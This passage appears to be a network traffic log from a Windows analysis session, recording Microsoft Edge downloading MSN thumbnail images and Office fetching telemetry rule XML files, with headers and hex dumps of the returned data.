2024-11-20 22:12:58 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDTr Last-Modified: Wed, 13 Nov 2024 18:29:26 GMT X-Source-Length: 88682 X-Datacenter: westus X-ActivityId: 2825492a-f805-4d5f-b5bc-cfe3c80935b6 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 88682 Cache-Control: public, max-age=202510 Expires: Sat, 23 Nov 2024 06:28:08 GMT Date: Wed, 20 Nov 2024 22:12:58 GMT Connection: close
2024-11-20 22:12:58 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 22:12:58 UTC	16384	IN	Data Raw: fd 97 56 76 f7 3f e2 06 3e 90 43 6e 09 70 6b c1 00 c1 92 3c 97 47 ae 7f a7 7b 98 ef 4b b6 ed a0 58 01 63 9e 77 5e da 5a 01 04 c6 77 3a 91 11 01 ba 2d c4 45 4f 82 4c eb 0e 71 5e eb 8b 8e b0 e7 68 63 37 43 5a c1 61 c8 34 70 0a 40 6b 9c d7 39 b6 aa e1 b0 d9 f3 98 eb 4d 21 0d 96 1b c4 b6 0d 27 57 02 05 b3 c9 43 8b cd 6f 6c b5 ae 71 69 8b 0b c9 a6 d1 68 cb 45 95 48 ec 67 73 6e 99 c6 97 4d fa cb 67 9f 4b e2 35 d1 67 38 20 9c f0 36 bf ee a8 40 5a 08 8b 48 fe ee b2 74 d7 44 c3 05 c9 70 04 45 af 79 c2 c4 71 b9 d1 5e ff 00 69 ef 3d 8d 49 8d bb b0 63 49 93 d9 c2 e5 67 12 24 da e3 3f 62 79 68 8b 12 7a 1b 4f d5 43 81 88 bf 45 a9 2d aa 86 b8 11 55 35 de 08 fc d0 5b 50 19 fc 96 64 89 b1 b0 b7 5e 2a a3 7a df b6 e0 5c d3 24 02 48 79 ed 07 34 6b 13 73 af 3b ad 9b be 3b 04 Data Ascii: Vv?>Cnpk<G{KXcw^Zw:-EOLq^hc7CZa4p@k9M!'WColqihEHgsnMgK5g8 6@ZHtDpEyq^i=IcIg$?byhzOCE-U5[Pd^*z\$Hy4ks;;
2024-11-20 22:12:58 UTC	1473	IN	Data Raw: 1d 56 49 ad 22 88 3a eb ed 29 44 e8 4f db 24 11 a1 cf 49 b7 1b 29 84 f9 df c9 19 13 a7 b4 a2 55 87 16 e9 62 41 1c 8e b9 2c e0 23 47 69 d5 07 82 88 4f db 35 52 54 73 f8 6c 08 06 e5 c4 da d6 8e 37 cb 8a 9b 91 26 ed 9f 23 f5 f9 27 13 98 d2 7a fe eb 38 b6 2a b2 76 c8 f3 e5 c5 43 85 24 80 43 a2 2e 24 65 c6 0d 8d b4 4f 59 1c 55 96 96 b4 3a 97 09 9e d1 9a 4c 46 96 c8 11 22 4e aa b3 1a 25 82 67 01 d3 5c b3 1e 79 2d aa 71 03 58 1a 7b 72 58 08 20 e8 0d ad 8f b7 15 a0 86 fc d6 66 1d 31 69 3e d9 29 37 4d c6 2c 7a f0 59 38 f8 22 c9 ca a5 99 a4 1e c9 71 b0 99 00 41 e4 4c 80 74 39 e0 88 b8 98 f9 75 51 91 92 8b 95 ac 52 e3 4b 83 80 24 07 0d 08 c4 07 09 82 32 21 01 ba 4c e2 2d cb 53 aa 29 50 e2 d2 e0 0c 36 24 c5 84 d8 4f 5c 96 4e 10 ba 0b 7c f8 fe cb 07 19 45 96 48 42 65 Data Ascii: VI":)DO$I)UbA,#GiO5RTsl7&#'z8*vC$C.$eOYU:LF"N%g\y-qX{rX f1i>)7M,zY8"qALt9uQRK$2!L-S)P6$O\N\|EHBe
2024-11-20 22:12:59 UTC	16384	IN	Data Raw: 51 32 9a 70 aa 14 52 0b 40 02 03 47 15 42 fc 56 80 21 39 b0 f6 2a a8 9d 24 f8 d9 27 ed 96 98 9d 35 83 20 74 22 41 e4 a2 a9 85 86 6a 24 40 31 02 64 ce 86 48 81 13 7b f4 54 0b 63 2b 9b 05 81 61 55 49 41 d4 d7 6d 66 0c f0 3f 5b 15 d4 1e d8 11 e5 92 f3 83 49 e1 8a a2 c7 82 92 b7 2e fd c6 6d 8b 35 f5 19 20 f6 61 b0 0d a9 9e d7 98 04 2e 37 ec 91 c7 a2 99 dc 19 4a d9 9b b4 ea de 4a 35 76 e4 a4 c6 68 b8 5d e5 cc 71 90 2d c1 66 44 1b 5f 3d 7d df 45 52 9c e0 1c 17 4b 76 75 74 1b 6b ed 0a da cb 08 10 7c 17 a3 b7 5b 58 0b 65 b5 5a 41 31 71 71 3d 09 9b ac dd 35 56 f2 df b7 21 b4 cf 96 9c 38 fb 59 41 db 81 7c ef d3 9f 55 ef b4 ee 6d 39 cf d8 30 1b 7e f0 16 b5 d0 7b 23 4c f5 98 2b cb 7b c8 01 a4 b8 35 ae 30 2e 68 9b 98 16 17 fa 85 62 6d 66 1e 7c 4d ad 3f 52 a0 01 72 56 Data Ascii: Q2pR@GBV!9*$'5 t"Aj$@1dH{Tc+aUIAmf?[I.m5 a.7JJ5vh]q-fD_=}ERKvutk\|[XeZA1qq=5V!8YA\|Um90~{#L+{50.hbmf\|M?RrV
2024-11-20 22:12:59 UTC	16384	IN	Data Raw: d6 30 4c ee 4e 2b 38 44 20 ba c6 08 ac 71 51 08 84 55 57 d5 15 f0 53 08 84 0e be 09 56 51 08 84 08 b9 ca 6e aa 11 0a 08 ba 24 ab 84 a1 04 c9 49 5c 22 11 50 85 50 88 50 42 21 54 22 10 4a 15 21 45 42 15 a2 10 66 9a a8 42 2d 84 d1 08 85 50 d0 94 21 19 34 4a 50 9c 2a a9 49 5c 27 0a 50 84 e5 54 27 09 48 56 4d 10 88 5a 0d 35 28 41 70 88 50 9d b1 41 50 85 29 ca 06 9a 55 22 a5 43 d1 09 cb 71 4e 42 20 04 8d 09 16 8b 61 87 44 44 f0 f6 e0 89 08 91 8a a1 42 15 48 44 b7 14 09 34 54 dc 54 d6 11 14 a2 70 4a 46 28 90 82 6e 52 85 72 11 21 45 d5 30 88 55 21 12 13 43 54 c2 21 54 84 48 4d 0d 51 09 c2 a9 08 90 9a 2e a9 84 42 a9 08 94 d0 d5 10 9c 2a 90 94 84 d0 d4 a1 09 c8 44 84 d1 35 28 44 27 21 39 09 a0 98 44 2a 94 4a 68 26 10 aa 51 29 a1 aa 61 0a a5 12 9a 05 27 14 49 c5 39 Data Ascii: 0LN+8D qQUWSVQn$I\"PPPB!T"J!EBfB-P!4JPI\'PT'HVMZ5(ApPAP)U"CqNB aDDBHD4TTpJF(nRr!E0U!CT!THMQ.BD5(D'!9D*Jh&Q)a'I9
2024-11-20 22:12:59 UTC	7952	IN	Data Raw: 13 af 5f 47 cf 35 95 88 5e e7 a5 f4 5d 99 22 eb 9d fb 7b bb 7a 6d d1 e6 7c 44 85 eb 7a 46 fa 93 0e a1 d1 88 d3 eb 2b a7 07 87 8c 65 53 8c df 92 71 73 99 c7 49 88 f5 79 fe ab d1 ee 18 89 d5 5e c7 a2 75 aa 0b eb 1a ca f5 04 72 5b 8d 9a 6f 0b dd f4 b8 73 73 3c 7f 51 35 4f 37 d3 ec c0 2d ca 2c a7 7d ad d9 20 90 17 6e f3 c6 c3 4b 8e 23 35 f2 be bb d6 f7 ce 21 a6 cb 7c 4c b0 e1 63 5b f7 42 70 f1 cb 89 3e 1b dd 7b be b1 8d 74 62 a7 63 7c bd ff 00 74 7c f9 0b af 9d 24 bb 55 d1 e9 b7 3b 8d f6 bf 2d 0f 45 e0 8f b8 99 ca 2f 48 be e7 af da 8e 59 ae af b2 04 3b 83 b8 9a 67 e6 b3 1b af 98 2f 2d 39 88 26 39 a8 df 63 f7 19 21 f5 b7 a0 b7 90 5c b5 3a 92 2a a4 8f 6b 2f a3 39 57 c7 57 8e 22 27 e3 a3 d8 dc 7b 58 d1 2e 2e 9e 32 54 3b 78 6d 8e cb 6a ea 17 ce 77 bb f6 97 4d f5 Data Ascii: _G5^]"{zm\|DzF+eSqsIy^ur[oss<Q5O7-,} nK#5!\|Lc[Bp>{tbc\|t\|$U;-E/HY;g/-9&9c!\:*k/9WW"'{X..2T;xmjwM
2024-11-20 22:12:59 UTC	14240	IN	Data Raw: 1f 05 cf 00 ff 00 88 5b e1 f2 4a b1 b7 62 e2 ee a2 7d c8 94 d0 ee 6c b5 c4 54 01 19 1d 56 47 d6 fa 7d b7 52 5c e9 fe 19 fa 2c 49 61 ed 00 01 c5 c0 ad 5a 6d 35 81 d2 ea 77 35 51 be fe 3d 1d bd fb 0b 64 12 7f 94 fb 96 07 7d 84 c7 68 7f 29 f7 05 e6 6e 37 7f 71 dd 9f 53 b8 d8 fc a2 3e 57 5d 8d dc de 6b 6e f9 e2 5a a5 ce c3 92 22 3a fc 77 37 7e e0 0c ec cb 8e 1a 2f 1d fe b3 d7 37 ed d9 98 9d 7f 63 0b d8 1b 84 eb 1f 44 c0 07 49 49 89 9d f3 1e 46 33 18 f5 c6 27 ce de 03 3d 67 a8 2e 07 7b 65 ad 18 de 57 70 f5 7b 2f 81 1e 05 7a 54 70 09 0d b0 34 6a 44 4c 7f 2b f3 86 a7 2c 67 f8 d7 94 b8 fb dd a1 67 18 9c 47 b9 0f f4 db 6f bd 51 d1 6d b9 b6 d7 7c 3c e0 2d 18 c0 06 93 d5 69 9b d9 6c 19 b3 b3 a1 6d f1 30 57 4b 7d 33 3e 1f aa 60 01 94 72 5a 55 18 23 33 33 b5 93 f6 01 Data Ascii: [Jb}lTVG}R\,IaZm5w5Q=d}h)n7qS>W]knZ":w7~/7cDIIF3'=g.{eWp{/zTp4jDL+,ggGoQm\|<-ilm0WK}3>`rZU#33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	49897	104.117.182.41	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:58 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=269895 Expires: Sun, 24 Nov 2024 01:11:13 GMT Date: Wed, 20 Nov 2024 22:12:58 GMT Connection: close
2024-11-20 22:12:58 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	49900	104.117.182.41	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:58 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=402149 Expires: Mon, 25 Nov 2024 13:55:27 GMT Date: Wed, 20 Nov 2024 22:12:58 GMT Connection: close
2024-11-20 22:12:58 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.7	49901	104.117.182.41	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:58 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=288014 Expires: Sun, 24 Nov 2024 06:13:12 GMT Date: Wed, 20 Nov 2024 22:12:58 GMT Connection: close
2024-11-20 22:12:58 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	49899	104.117.182.41	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:58 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:23 GMT X-Datacenter: westus X-ActivityId: 9e7c39fd-58db-4e2c-957a-f382c8e91634 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=98110 Expires: Fri, 22 Nov 2024 01:28:08 GMT Date: Wed, 20 Nov 2024 22:12:58 GMT Connection: close
2024-11-20 22:12:58 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	49902	104.117.182.41	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:58 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=385478 Expires: Mon, 25 Nov 2024 09:17:36 GMT Date: Wed, 20 Nov 2024 22:12:58 GMT Connection: close
2024-11-20 22:12:58 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:58 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:58 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:58 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 848b8d5b-d01e-00a1-7163-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221258Z-178bfbc474bpnd5vhC1NYC4vr400000000mg00000000cw1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:58 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:59 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:13:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:59 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221259Z-r1d97b99577hc74hhC1TEBvbns00000009c0000000007x1x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
